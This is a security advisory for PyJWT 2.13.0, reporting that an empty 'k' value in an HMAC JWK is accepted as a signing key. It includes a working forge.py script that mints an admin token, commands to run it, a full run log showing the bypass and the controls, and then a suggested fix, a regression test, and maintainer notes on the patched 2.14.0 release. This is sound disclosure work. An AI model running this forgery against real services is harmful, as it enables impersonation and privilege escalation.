Details
forge.py (attacker; no secret knowledge):
import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"[email protected]","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b"" # empty key
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))
Run:
python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users
Verbatim run (attack, both negative controls, sanity, and patched-build re-run):
### PyJWT version
2.13.0
### JWKS published by the auth service (note the empty "k"):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
### Baseline: unauthenticated request to admin endpoint
HTTP 401
### ATTACK: attacker forges HS256 admin token signed with the EMPTY key
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ
response:
{"action":"list_all_users","as_user":"[email protected]","ok":true,"role":"admin"}
<-- HTTP 200
### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject
{"error":"invalid token: InvalidSignatureError"}
<-- HTTP 401
### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail
JWKS now has non-empty k:
{"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: InvalidSignatureError"}
<-- HTTP 401
### Sanity: a legitimately-signed token with the real secret is accepted
{"action":"list_all_users","as_user":"[email protected]","ok":true,"role":"admin"}
<-- HTTP 200
### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected
JWKS (empty k, vulnerable config):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: PyJWKSetError"}
<-- HTTP 401
The attack returns HTTP 200 with role:admin from an unauthenticated forged
token. Both negative controls (wrong non-empty key; real non-empty secret at the
auth service) return 401, isolating the defect to empty-key acceptance. The
patched build (the from_jwk fix below) rejects the forgery.
Impact
- Unauthenticated authentication bypass / token forgery: an attacker mints tokens with arbitrary claims (
role:admin, arbitrarysub) that verify successfully, yielding full impersonation and privilege escalation on any endpoint gated by such tokens. - Reachable through the documented JWKS verification API (
PyJWKClient/PyJWKSet/PyJWK), not just directHMACAlgorithmuse. - Triggered by the common "unset signing secret" misconfiguration that the string-secret path already rejects in 2.13.0, leaving the JWK path as an asymmetric gap.
Suggested fix
Reject a zero-length key in HMACAlgorithm.from_jwk, mirroring the guard thatprepare_key already applies:
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
key_bytes = base64url_decode(obj["k"])
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
return key_bytes
This reuses the exact error message and length check the string/bytes path uses,
so both HMAC key-loading routes enforce the same invariant. A regression test for
the empty-k oct JWK belongs next to test_hmac_from_jwk_should_raise_exception_if_empty_json.
Fix PR
https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory
temp fork, base master, branch fix/hmac-from-jwk-reject-empty-key,
DCO-signed; adds test_hmac_from_jwk_rejects_empty_k; test_algorithms.py,test_api_jwk.py, test_api_jws.py pass).
Credit
Reported by tonghuaroot.
> Maintainer update (2026-09-10): We reproduced the reported behavior: an oct JWK with an empty k value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as af8181ca0bec5e6b372fbba9afbe23702b787ceb and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.